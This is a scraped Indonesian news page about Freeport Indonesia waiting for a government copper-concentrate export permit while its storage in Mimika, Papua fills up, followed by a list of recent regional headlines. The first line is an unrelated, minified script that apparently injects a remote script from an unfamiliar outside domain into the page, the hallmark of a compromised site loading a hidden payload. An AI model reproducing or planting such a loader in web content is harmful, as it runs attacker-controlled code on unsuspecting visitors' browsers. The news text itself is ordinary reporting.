(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Freeport Indonesia Tunggu Izin Ekspor, Konsentrat Tembaga Menumpuk


KANALKALIMANTAN.COM, JAKARTA – Perusahaan tambang tembaga PT Freeport Indonesia, anak perusahaan Freeport-McMoran mengatakan belum memperoleh izin pemerintah untuk melanjutkan ekspor bahan bakunya.

Perusahaan itu mengaku konsentrat tembaga telah menumpuk sehingga kemungkinan sulit tertampung oleh fasilitas-fasilitas penyimpanannya di Papua.

Indonesia pada Juni melarang ekspor mineral mentah untuk menarik investasi ke dalam industri pengolahan logam dan meningkatkan nilai ekspornya, tetapi mengatakan akan mengizinkan beberapa perusahaan, termasuk Freeport, untuk terus mengekspor hingga pertengahan 2024.

Baca juga: Kejari Batola Tetapkan 2 Tersangka Penghalangan Penyidikan

“Ketiadaan izin ekspor mengakibatkan terhentinya kegiatan Freeport Indonesia yang berdampak signifikan terhadap keseluruhan kegiatan operasional dan penjualan hasil tambang,” kata juru bicara Freeport Indonesia, Katri Krisnati, Kamis (6/7/2023).

“Sampai hari ini, kami masih menunggu izin ekspor keluar,” katanya seraya menambahkan bahwa fasilitas-fasilitas penyimpanan di lokasi mereka di Kabupaten Mimika Papua sudah penuh dan sebagian bahan disimpan di luar ruangan.

Izin ekspor Freeport berakhir pada 10 Juni, ketika Indonesia memulai larangan ekspor mineral mentahnya. Sejak itu perusahaan tersebut tidak melakukan pengiriman ke luar negeri, kata Katri.

Penimbunan konsentrat tembaga juga tak terhindarkan karena konsumen domestik, PT Smelting, saat ini menutup sementara operasinya untuk pemeliharaan rutin selama 75 hari.

Baca juga: Bongkar Pasang Senjata Iringi Pelantikan 267 Bintara Polri SPN Banjarbaru

Menteri Energi dan Sumber Daya Mineral (ESDM) Arifin Tasrif mengatakan pihaknya telah mengeluarkan rekomendasi ekspor untuk Freeport pada Juni.

Berdasarkan rekomendasi Kementerian ESDM, Kementerian Perdagangan adalah pihak yang menerbitkan izin ekspor kepada perusahaan-perusahaan itu. Para pejabat Kementerian Perdagangan tidak segera menanggapi permintaan komentar. (voa.indonesia/ab/uh)

Editor: kk


Al Ghifari

Recent Posts

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

13 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

13 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

14 jam ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

14 jam ago

81 Peserta Ikuti Audisi Pemilihan Nanang dan Galuh Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More

14 jam ago

Rumah di Banjarmasin Ambruk ke Sungai, Penghuni Keluar Lewat Jendela

KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More

14 jam ago

This website uses cookies.